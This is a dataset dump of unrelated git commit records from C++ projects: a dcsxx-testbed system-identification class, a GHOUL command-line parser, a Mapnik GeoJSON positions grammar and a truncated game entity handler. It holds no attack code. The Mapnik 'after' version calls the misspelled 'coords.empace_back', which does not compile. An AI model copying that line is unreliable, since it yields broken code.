val(*obs_it);\n\t\t\t\t\tacc(val);\n\n\t\t\t\t\tif (out_ext_fmt_)\n\t\t\t\t\t{\n\t\t\t\t\t\tofs << oss.str() << \" \" << val << \" \" << \"\\\"[DATA]\\\"\" << ::std::endl;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ Compute a summary statistics of collected observation\n\t\t\t\t\/\/FIXME: parameterize the type of statistics the user want\n\t\t\t\treal_type summary_obs = ::boost::accumulators::mean(acc);\n\n\t\t\t\tDCS_DEBUG_TRACE( \" Current (summary) observation: \" << summary_obs );\n\n\t\t\t\tif (out_ext_fmt_)\n\t\t\t\t{\n\t\t\t\t\tofs << oss.str() << \" \" << summary_obs << \" \" << \"\\\"[SUMMARY]\\\"\" << ::std::endl;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tofs << oss.str() << \" \" << summary_obs << ::std::endl;\n\t\t\t\t}\n\n\t\t\t\t\/\/ Wait until the next sampling time\n\t\t\t\t::sleep(ts_);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Stop the workload driver\n\t\tp_wkl_driver_->stop();\n\n\t\t\/\/ Close output data file\n\t\tofs.close();\n\t}\n\n\n\tprivate: vm_container vms_; \/\/\/< VMs container\n\tprivate: workload_driver_pointer p_wkl_driver_; \/\/\/< Ptr to workload driver\n\tprivate: signal_generator_pointer p_sig_gen_; \/\/\/< Ptr to signal generator used to excite VMs\n\tprivate: unsigned int ts_; \/\/\/< The sampling time\n\tprivate: ::std::string out_dat_file_; \/\/\/< The path to the output data file\n\tprivate: bool out_ext_fmt_; \/\/\/< Flag to control whether to produce an output data file with extended format\n}; \/\/ system_identification\n\ntemplate <typename RealT>\nconst ::std::string system_identification<RealT>::default_output_data_file_path(\".\/sysid_out.dat\");\n\n}} \/\/ Namespace dcs::testbed\n\n#endif \/\/ DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n<commit_msg>(bug-fix:minor) Restore old shares before leaving the system identification 'run' method.<commit_after>\/**\n * \\file dcs\/testbed\/system_identification.hpp\n *\n * \\brief Performs system identification experiments.\n *\n * \\author Marco Guazzone (marco.guazzone@gmail.com)\n *\n * <hr\/>\n *\n * Copyright (C) 2012 Marco Guazzone\n * [Distributed Computing System (DCS) Group,\n * Computer Science Institute,\n * Department of Science and Technological Innovation,\n * University of Piemonte Orientale,\n * Alessandria (Italy)]\n *\n * This file is part of dcsxx-testbed.\n *\n * dcsxx-testbed is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * dcsxx-testbed is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with dcsxx-testbed. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n#define DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n\n#include <boost\/accumulators\/accumulators.hpp>\n#include <boost\/accumulators\/statistics\/stats.hpp>\n#include <boost\/accumulators\/statistics\/mean.hpp>\n#include <boost\/smart_ptr.hpp>\n#include <cstddef>\n#include <ctime>\n#include <dcs\/assert.hpp>\n#include <dcs\/debug.hpp>\n#include <dcs\/exception.hpp>\n#include <dcs\/testbed\/base_signal_generator.hpp>\n#include <dcs\/testbed\/base_virtual_machine.hpp>\n#include <dcs\/testbed\/base_workload_driver.hpp>\n#include <fstream>\n#include <iterator>\n#include <limits>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <unistd.h>\n#include <vector>\n\n#ifdef DCS_DEBUG\n# include <boost\/numeric\/ublas\/io.hpp>\n#endif \/\/ DCS_DEBUG\n\n\nnamespace dcs { namespace testbed {\n\ntemplate <typename RealT>\nclass system_identification\n{\n\tpublic: typedef RealT real_type;\n\tpublic: typedef base_virtual_machine<real_type> vm_type;\n\tpublic: typedef ::boost::shared_ptr<vm_type> vm_pointer;\n\tpublic: typedef base_signal_generator<real_type> signal_generator_type;\n\tpublic: typedef ::boost::shared_ptr<signal_generator_type> signal_generator_pointer;\n\tpublic: typedef base_workload_driver workload_driver_type;\n\tpublic: typedef ::boost::shared_ptr<workload_driver_type> workload_driver_pointer;\n\tprivate: typedef ::std::vector<vm_pointer> vm_container;\n\n\n\tprivate: static const unsigned int default_sampling_time = 10;\n\tprivate: static const ::std::string default_output_data_file_path;\n\n\n\t\/\/\/ Default constructor.\n\tpublic: system_identification()\n\t: ts_(default_sampling_time),\n\t out_dat_file_(default_output_data_file_path),\n\t out_ext_fmt_(false)\n\t{\n\t}\n\n\t\/\/\/ A constructor.\n\tpublic: template <typename FwdIterT>\n\t\t\tsystem_identification(FwdIterT vm_first, FwdIterT vm_last, workload_driver_pointer const& p_wkl_driver, signal_generator_pointer const& p_sig_gen)\n\t: vms_(vm_first, vm_last),\n\t p_wkl_driver_(p_wkl_driver),\n\t p_sig_gen_(p_sig_gen),\n\t ts_(default_sampling_time),\n\t out_dat_file_(default_output_data_file_path),\n\t out_ext_fmt_(false)\n\t{\n\t}\n\n\t\/\/\/ Set the path of the output data file.\n\tpublic: void output_data_file(::std::string const& s)\n\t{\n\t\t\/\/ pre: s != \"\"\n\t\tDCS_ASSERT(!s.empty(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Cannot use empty string as output data file name\"));\n\n\t\tout_dat_file_ = s;\n\t}\n\n\t\/\/\/ Enabled or disable the extended format of the output data file.\n\tpublic: void output_extended_format(bool val)\n\t{\n\t\tout_ext_fmt_ = val;\n\t}\n\n\t\/\/\/ Set the sampling time.\n\tpublic: void sampling_time(real_type t)\n\t{\n\t\t\/\/ pre: t > 0\n\t\tDCS_ASSERT(t > 0,\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Sampling time must be positive\"));\n\t\t\/\/ pre: t <= max value\n\t\tDCS_ASSERT(t <= ::std::numeric_limits<unsigned int>::max(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Sampling time too large\"));\n\n\t\tts_ = static_cast<unsigned int>(t);\n\t}\n\n\t\/**\n\t * \\brief Perform system identification by using as initial shares the\n\t * 100% of resource.\n\t *\/\n\tpublic: void run()\n\t{\n\t\t::std::vector<real_type> init_shares(vms_.size(), 1);\n\n\t\tthis->run(init_shares.begin(), init_shares.end());\n\t}\n\n\t\/**\n\t * \\brief Perform system identification with the given initial shares.\n\t *\/\n\tpublic: template <typename FwdIterT>\n\t\t\tvoid run(FwdIterT share_first, FwdIterT share_end)\n\t{\n\t\t\/\/ distance(share_first,share_end) == size(vms_)\n\t\tDCS_ASSERT(static_cast< ::std::size_t >(::std::distance(share_first, share_end)) == vms_.size(),\n\t\t\t\t DCS_EXCEPTION_THROW(::std::invalid_argument,\n\t\t\t\t\t\t\t\t\t \"Share container size does not match\"));\n\n\t\ttypedef typename vm_container::const_iterator vm_iterator;\n\t\ttypedef typename signal_generator_type::vector_type share_container;\n\t\ttypedef typename vm_type::identifier_type vm_identifier_type;\n\n\t\tDCS_DEBUG_TRACE( \"BEGIN Execution of System Identification\" );\n\n\t\tvm_iterator vm_end_it(vms_.end());\n\t\tvm_iterator vm_beg_it(vms_.begin());\n\n\t\tif (vm_beg_it == vm_end_it)\n\t\t{\n\t\t\t\/\/ No VMs -> don't run anything\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Open output data file\n\t\t::std::ofstream ofs(out_dat_file_.c_str());\n\t\tif (!ofs.good())\n\t\t{\n\t\t\t::std::ostringstream oss;\n\t\t\toss << \"Cannot open output data file '\" << out_dat_file_ << \"'\";\n\n\t\t\tDCS_EXCEPTION_THROW(::std::runtime_error, oss.str());\n\t\t}\n\n\t\t\/\/ Get current shares in order to restore them at the end of execution\n\t\tshare_container old_shares;\n\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t vm_it != vm_end_it;\n\t\t\t ++vm_it)\n\t\t{\n\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\told_shares.push_back(p_vm->cpu_share());\n\t\t}\n\n\t\t\/\/ Set initial shares\n\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t vm_it != vm_end_it;\n\t\t\t ++vm_it)\n\t\t{\n\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\tp_vm->cpu_share(*share_first);\n\t\t\t++share_first;\n\t\t}\n\n\t\t\/\/ Start the workload driver\n\t\tp_wkl_driver_->start();\n\n\t\t\/\/ Set shares according to the given signal\n\t\t::std::time_t t0(-1);\n\t\t::std::time_t t1(-1);\n\t\t::std::time(&t1);\n\t\twhile (!p_wkl_driver_->done())\n\t\t{\n\t\t\tDCS_DEBUG_TRACE( \" Driver is alive\" );\n\t\t\tif (p_wkl_driver_->ready() && p_wkl_driver_->has_observation())\n\t\t\t{\n\t\t\t\t\/\/ Stringstream used to hold common output info\n\t\t\t\t::std::ostringstream oss;\n\n\t\t\t\t\/\/ Compute the elapsed time\n\t\t\t\t::std::time(&t1);\n\t\t\t\tif (t0 == -1)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Set t0 to the start of observation collection phase\n\t\t\t\t\tt0 = t1;\n\t\t\t\t}\n\t\t\t\tdouble dt = ::std::difftime(t1, t0);\n\n\t\t\t\tDCS_DEBUG_TRACE( \"-- Time \" << dt );\n\n\t\t\t\toss << dt;\n\n\t\t\t\t\/\/ Generate new shares\n\t\t\t\tshare_container share((*p_sig_gen_)());\n\n\t\t\t\t\/\/ check: consistency\n\t\t\t\tDCS_DEBUG_ASSERT( share.size() == vms_.size() );\n\n\t\t\t\tDCS_DEBUG_TRACE( \" Generated shares: \" << dcs::debug::to_string(share.begin(), share.end()) );\n\n\t\t\t\t\/\/ Set new shares to every VM\n\t\t\t\t::std::size_t ix(0);\n\t\t\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t\t\t vm_it != vm_end_it;\n\t\t\t\t\t ++vm_it)\n\t\t\t\t{\n\t\t\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\t\t\t\/\/ check: not null\n\t\t\t\t\tDCS_DEBUG_ASSERT( p_vm );\n\n\t\t\t\t\tDCS_DEBUG_TRACE( \" VM '\" << p_vm->name() << \"' :: Old CPU share: \" << p_vm->cpu_share() << \" :: New CPU share: \" << share[ix] );\n\n\t\t\t\t\toss << \" \" << p_vm->cpu_share();\n\n\t\t\t\t\tp_vm->cpu_share(share[ix]);\n\n\t\t\t\t\t++ix;\n\t\t\t\t}\n\n\t\t\t\t\/\/ Get collected observations\n\t\t\t\ttypedef ::std::vector<real_type> obs_container;\n\t\t\t\ttypedef typename obs_container::const_iterator obs_iterator;\n\t\t\t\tobs_container obs = p_wkl_driver_->observations();\n\t\t\t\t\/\/FIXME: parameterize the type of statistics the user want\n\t\t\t\t::boost::accumulators::accumulator_set< real_type, ::boost::accumulators::stats< ::boost::accumulators::tag::mean > > acc;\n\t\t\t\tobs_iterator obs_end_it(obs.end());\n\t\t\t\tfor (obs_iterator obs_it = obs.begin();\n\t\t\t\t\t obs_it != obs_end_it;\n\t\t\t\t\t ++obs_it)\n\t\t\t\t{\n\t\t\t\t\treal_type val(*obs_it);\n\t\t\t\t\tacc(val);\n\n\t\t\t\t\tif (out_ext_fmt_)\n\t\t\t\t\t{\n\t\t\t\t\t\tofs << oss.str() << \" \" << val << \" \" << \"\\\"[DATA]\\\"\" << ::std::endl;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t\/\/ Compute a summary statistics of collected observation\n\t\t\t\t\/\/FIXME: parameterize the type of statistics the user want\n\t\t\t\treal_type summary_obs = ::boost::accumulators::mean(acc);\n\n\t\t\t\tDCS_DEBUG_TRACE( \" Current (summary) observation: \" << summary_obs );\n\n\t\t\t\tif (out_ext_fmt_)\n\t\t\t\t{\n\t\t\t\t\tofs << oss.str() << \" \" << summary_obs << \" \" << \"\\\"[SUMMARY]\\\"\" << ::std::endl;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tofs << oss.str() << \" \" << summary_obs << ::std::endl;\n\t\t\t\t}\n\n\t\t\t\t\/\/ Wait until the next sampling time\n\t\t\t\tDCS_DEBUG_TRACE( \" Zzz... (: \" << ts_ << \")\" );\n\t\t\t\t::sleep(ts_);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Stop the workload driver\n\t\tp_wkl_driver_->stop();\n\n\t\t\/\/ Close output data file\n\t\tofs.close();\n\n\t\t\/\/ Reset VM shares to values that VMs had just before running the driver\n\t\t::std::size_t ix(0);\n\t\tfor (vm_iterator vm_it = vm_beg_it;\n\t\t\t vm_it != vm_end_it;\n\t\t\t ++vm_it)\n\t\t{\n\t\t\tvm_pointer p_vm(*vm_it);\n\n\t\t\tp_vm->cpu_share(old_shares[ix]);\n\t\t\t++ix;\n\t\t}\n\n\t\tDCS_DEBUG_TRACE( \"END Execution of System Identification\" );\n\t}\n\n\n\tprivate: vm_container vms_; \/\/\/< VMs container\n\tprivate: workload_driver_pointer p_wkl_driver_; \/\/\/< Ptr to workload driver\n\tprivate: signal_generator_pointer p_sig_gen_; \/\/\/< Ptr to signal generator used to excite VMs\n\tprivate: unsigned int ts_; \/\/\/< The sampling time\n\tprivate: ::std::string out_dat_file_; \/\/\/< The path to the output data file\n\tprivate: bool out_ext_fmt_; \/\/\/< Flag to control whether to produce an output data file with extended format\n}; \/\/ system_identification\n\ntemplate <typename RealT>\nconst ::std::string system_identification<RealT>::default_output_data_file_path(\".\/sysid_out.dat\");\n\n}} \/\/ Namespace dcs::testbed\n\n#endif \/\/ DCS_TESTBED_SYSTEM_IDENTIFICATION_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************************\n * *\n * GHOUL *\n * General Helpful Open Utility Library *\n * *\n * Copyright (c) 2012-2014 *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this *\n * software and associated documentation files (the \"Software\"), to deal in the Software *\n * without restriction, including without limitation the rights to use, copy, modify, *\n * merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to *\n * permit persons to whom the Software is furnished to do so, subject to the following *\n * conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in all copies *\n * or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, *\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A *\n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF *\n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE *\n * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\n ****************************************************************************************\/\n\nnamespace ghoul {\nnamespace cmdparser {\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, const std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 1, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(nullptr)\n\t, _ptr3(nullptr)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, const std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 2, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(nullptr)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, V* ptr3,\n\t\t\t\t\t\t\tconst std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 3, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(ptr3)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, V* ptr3, W* ptr4,\n\t\t\t\t\t\t\t const std::string& name,\n\t\t\t\t\t\t\t const std::string& shortName,\n\t\t\t\t\t\t\t const std::string& infoText,\n\t\t\t\t\t\t\t const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 4, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(ptr3)\n\t, _ptr4(ptr4)\n{}\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nbool SingleCommand<T, U, V, W>::execute(const std::vector<std::string>& parameters) {\n cast(parameters[0], *_ptr1);\n if (_ptr2 != nullptr)\n cast(parameters[1], *_ptr2);\n if (_ptr3 != nullptr)\n cast(parameters[2], *_ptr3);\n if (_ptr4 != nullptr)\n cast(parameters[3], *_ptr4);\n\n return true;\n}\n\ntemplate<typename T, typename U = T, typename V = U, typename W = V>\nbool SingleCommand<T, U, V, W>::checkParameters(\n\t\t\t\t\t\t\t\t\t\tconst std::vector<std::string>& parameters)\n{\n std::ostringstream errorStr;\n\n bool result = parameters.size() == static_cast<size_t>(_argumentNum);\n if (!result) {\n errorStr << \"Invalid number of parameters: \" << parameters.size();\n errorStr << \", expected: \" << _argumentNum;\n _errorMsg = errorStr.str();\n return false;\n }\n\n result &= is<T>(parameters[0]);\n if (!result)\n errorStr << \"First parameter invalid\";\n\n if (result && (_ptr2 != nullptr)) {\n result &= is<U>(parameters[1]);\n if (!result)\n errorStr << \"Second parameter invalid\";\n }\n\n if (result && (_ptr3 != nullptr)) {\n result &= is<V>(parameters[2]);\n if (!result)\n errorStr << \"Third parameter invalid\";\n }\n\n if (result && (_ptr4 != nullptr)) {\n result &= is<W>(parameters[3]);\n if (!result)\n errorStr << \"Fourth parameter invalid\";\n }\n\n if (!result)\n _errorMsg = errorStr.str();\n\n return result;\n}\n\n} \/\/ namespace cmdparser\n} \/\/ namespace ghoul<commit_msg>Linux fix<commit_after>\/*****************************************************************************************\n * *\n * GHOUL *\n * General Helpful Open Utility Library *\n * *\n * Copyright (c) 2012-2014 *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this *\n * software and associated documentation files (the \"Software\"), to deal in the Software *\n * without restriction, including without limitation the rights to use, copy, modify, *\n * merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to *\n * permit persons to whom the Software is furnished to do so, subject to the following *\n * conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in all copies *\n * or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, *\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A *\n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF *\n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE *\n * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\n ****************************************************************************************\/\n\nnamespace ghoul {\nnamespace cmdparser {\n\ntemplate<typename T, typename U, typename V, typename W>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, const std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 1, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(nullptr)\n\t, _ptr3(nullptr)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U, typename V, typename W>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, const std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 2, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(nullptr)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U, typename V, typename W>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, V* ptr3,\n\t\t\t\t\t\t\tconst std::string& name,\n const std::string& shortName,\n const std::string& infoText,\n const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 3, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(ptr3)\n\t, _ptr4(nullptr)\n{}\n\ntemplate<typename T, typename U, typename V, typename W>\nSingleCommand<T, U, V, W>::SingleCommand(T* ptr1, U* ptr2, V* ptr3, W* ptr4,\n\t\t\t\t\t\t\t const std::string& name,\n\t\t\t\t\t\t\t const std::string& shortName,\n\t\t\t\t\t\t\t const std::string& infoText,\n\t\t\t\t\t\t\t const std::string parameterList)\n : CommandlineCommand(name, shortName, infoText, parameterList, 4, false)\n\t, _ptr1(ptr1)\n\t, _ptr2(ptr2)\n\t, _ptr3(ptr3)\n\t, _ptr4(ptr4)\n{}\n\ntemplate<typename T, typename U, typename V, typename W>\nbool SingleCommand<T, U, V, W>::execute(const std::vector<std::string>& parameters) {\n cast(parameters[0], *_ptr1);\n if (_ptr2 != nullptr)\n cast(parameters[1], *_ptr2);\n if (_ptr3 != nullptr)\n cast(parameters[2], *_ptr3);\n if (_ptr4 != nullptr)\n cast(parameters[3], *_ptr4);\n\n return true;\n}\n\ntemplate<typename T, typename U, typename V, typename W>\nbool SingleCommand<T, U, V, W>::checkParameters(\n\t\t\t\t\t\t\t\t\t\tconst std::vector<std::string>& parameters)\n{\n std::ostringstream errorStr;\n\n bool result = parameters.size() == static_cast<size_t>(_argumentNum);\n if (!result) {\n errorStr << \"Invalid number of parameters: \" << parameters.size();\n errorStr << \", expected: \" << _argumentNum;\n _errorMsg = errorStr.str();\n return false;\n }\n\n result &= is<T>(parameters[0]);\n if (!result)\n errorStr << \"First parameter invalid\";\n\n if (result && (_ptr2 != nullptr)) {\n result &= is<U>(parameters[1]);\n if (!result)\n errorStr << \"Second parameter invalid\";\n }\n\n if (result && (_ptr3 != nullptr)) {\n result &= is<V>(parameters[2]);\n if (!result)\n errorStr << \"Third parameter invalid\";\n }\n\n if (result && (_ptr4 != nullptr)) {\n result &= is<W>(parameters[3]);\n if (!result)\n errorStr << \"Fourth parameter invalid\";\n }\n\n if (!result)\n _errorMsg = errorStr.str();\n\n return result;\n}\n\n} \/\/ namespace cmdparser\n} \/\/ namespace ghoul<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n#define MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n\n\/\/ mapnik\n#include <mapnik\/util\/variant.hpp>\n#include <mapnik\/json\/generic_json.hpp>\n#include <mapnik\/json\/error_handler.hpp>\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/geometry_fusion_adapted.hpp>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/spirit\/include\/phoenix_function.hpp>\n#include <boost\/fusion\/adapted\/std_tuple.hpp>\n#pragma GCC diagnostic pop\n\n\/\/ stl\n#include <tuple>\n\nnamespace mapnik { namespace json {\n\nstruct empty {};\n\nusing position = mapnik::geometry::point<double>;\nusing positions = std::vector<position>;\nusing coordinates = util::variant<empty, position, positions, std::vector<positions>, std::vector<std::vector<positions> > > ;\n\nnamespace qi = boost::spirit::qi;\n\nstruct set_position_impl\n{\n using result_type = void;\n template <typename T0,typename T1>\n result_type operator() (T0 & coords, T1 const& pos) const\n {\n if (pos) coords = *pos;\n }\n};\n\nstruct push_position_impl\n{\n using result_type = void;\n template <typename T0,typename T1>\n result_type operator() (T0 & coords, T1 const& pos) const\n {\n if (pos) coords.push_back(*pos);\n }\n};\n\ntemplate <typename Iterator, typename ErrorHandler = error_handler<Iterator> >\nstruct positions_grammar :\n qi::grammar<Iterator,coordinates(),space_type>\n{\n positions_grammar(ErrorHandler & error_handler);\n qi::rule<Iterator, coordinates(),space_type> coords;\n qi::rule<Iterator, boost::optional<position>(), space_type> pos;\n qi::rule<Iterator, positions(), space_type> ring;\n qi::rule<Iterator, std::vector<positions>(), space_type> rings;\n qi::rule<Iterator, std::vector<std::vector<positions> >(), space_type> rings_array;\n boost::phoenix::function<set_position_impl> set_position;\n boost::phoenix::function<push_position_impl> push_position;\n};\n\n}}\n\n#endif \/\/ MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n<commit_msg>keep address-sanitizer happy ref (https:\/\/github.com\/mapbox\/mapnik-vector-tile\/pull\/171)<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n#define MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n\n\/\/ mapnik\n#include <mapnik\/util\/variant.hpp>\n#include <mapnik\/json\/generic_json.hpp>\n#include <mapnik\/json\/error_handler.hpp>\n#include <mapnik\/geometry.hpp>\n#include <mapnik\/geometry_fusion_adapted.hpp>\n\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/spirit\/include\/phoenix_function.hpp>\n#include <boost\/fusion\/adapted\/std_tuple.hpp>\n#pragma GCC diagnostic pop\n\n\/\/ stl\n#include <tuple>\n\nnamespace mapnik { namespace json {\n\nstruct empty {};\n\nusing position = mapnik::geometry::point<double>;\nusing positions = std::vector<position>;\nusing coordinates = util::variant<empty, position, positions, std::vector<positions>, std::vector<std::vector<positions> > > ;\n\nnamespace qi = boost::spirit::qi;\n\nstruct set_position_impl\n{\n using result_type = void;\n template <typename T0,typename T1>\n result_type operator() (T0 & coords, T1 const& pos) const\n {\n if (pos) coords = *pos;\n }\n};\n\nstruct push_position_impl\n{\n using result_type = void;\n template <typename T0, typename T1>\n result_type operator() (T0 & coords, T1 const& pos) const\n {\n if (pos) coords.empace_back(*pos);\n }\n};\n\ntemplate <typename Iterator, typename ErrorHandler = error_handler<Iterator> >\nstruct positions_grammar :\n qi::grammar<Iterator,coordinates(),space_type>\n{\n positions_grammar(ErrorHandler & error_handler);\n qi::rule<Iterator, coordinates(),space_type> coords;\n qi::rule<Iterator, boost::optional<position>(), space_type> pos;\n qi::rule<Iterator, positions(), space_type> ring;\n qi::rule<Iterator, std::vector<positions>(), space_type> rings;\n qi::rule<Iterator, std::vector<std::vector<positions> >(), space_type> rings_array;\n boost::phoenix::function<set_position_impl> set_position;\n boost::phoenix::function<push_position_impl> push_position;\n};\n\n}}\n\n#endif \/\/ MAPNIK_JSON_POSITIONS_GRAMMAR_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2013-2017 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_GAME_ENTITY_HANDLER_HPP\n#define RJ_GAME_ENTITY_HANDLER_HPP\n\n#include \"collision.hpp\"\n#include \"components\/player.hpp\"\n#include \"entity.hpp\"\n#include \"particle_manager.hpp\"\n\n#include <mlk\/containers\/container_utl.h>\n#include <mlk\/log\/log.h>\n#include <mlk\/types\/types.h>\n\n#include <vector>\n\nnamespace rj\n{\n\ttemplate <typename T>\n\tusing entity_ptr = mlk::sptr<T>;\n\tusing entity_base_ptr = entity_ptr<entity_base>;\n\tusing player_ptr = entity_ptr<player>;\n\n\tclass entity_handler\n\t{\n\t\trndr& m_render;\n\t\tparticle_manager<game_handler>& m_particlemgr;\n\t\tgame_handler* m_gamehandler{nullptr};\n\n\t\tplayer_ptr 